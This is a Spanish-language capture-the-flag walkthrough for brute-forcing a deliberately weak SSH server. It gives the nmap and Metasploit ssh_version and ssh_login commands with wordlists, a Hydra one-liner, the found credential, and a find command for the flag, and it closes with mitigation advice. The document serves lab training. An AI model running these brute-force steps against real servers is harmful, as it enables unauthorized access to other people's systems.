Vulnerable SSH Server
Ataque por fuerza bruta contra un servidor SSH vulnerable
Objetivo: Atacar un servidor SSH con credenciales débiles usando Metasploit para fuerza bruta, obtener acceso remoto y localizar la flag.
¿Qué es SSH y por qué es un objetivo frecuente?
SSH (Secure Shell) proporciona acceso remoto cifrado. Si las credenciales son débiles, la seguridad del canal no sirve de nada. Es un protocolo universalmente habilitado y un vector de ataque primario.
1. Identificación del objetivo
cat /root/Desktop/target2. Escaneo de puertos
nmap -sS -sV <IP>Detecta OpenSSH en el puerto 22/TCP. La versión es importante para buscar CVEs especÃficos.
3. Enumeración de versión SSH con Metasploit
msfconsole -q
use auxiliary/scanner/ssh/ssh_version
set RHOSTS <IP>
exploitConfirma la versión exacta de OpenSSH y el sistema operativo.
4. Fuerza bruta de credenciales
use auxiliary/scanner/ssh/ssh_login
set RHOSTS <IP>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set STOP_ON_SUCCESS true
exploitSTOP_ON_SUCCESS true detiene el ataque al encontrar la primera credencial válida. Resultado esperado: sysadmin:password123.
Alternativa con Hydra:
hydra -l sysadmin -P /ruta/wordlist ssh://<IP>5. Acceso SSH directo
ssh sysadmin@<IP>
# Password: password123Con las credenciales encontradas obtienes una shell interactiva en la máquina vÃctima.
6. Búsqueda de la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flag2>/dev/null suprime errores de permisos para que el output sea limpio.
Flujo del ataque
1
Reconocimiento: nmap -sS -sV
2
Enumeración: ssh_version en MSF
3
Fuerza bruta: ssh_login + STOP_ON_SUCCESS
4
Acceso remoto: ssh usuario@IP
5
Objetivo final: find flag + cat
Conceptos clave
| Concepto | Descripción |
|---|---|
ssh_version | Fingerprinta versión exacta de OpenSSH y SO |
ssh_login | Módulo MSF para fuerza bruta de credenciales SSH |
STOP_ON_SUCCESS | Detiene al encontrar credenciales válidas |
OpenSSH < 7.7 | Vulnerable a username enumeration (CVE-2018-15473) |
Mitigación: Deshabilitar autenticación por contraseña, usar solo claves SSH, cambiar puerto por defecto y habilitar fail2ban.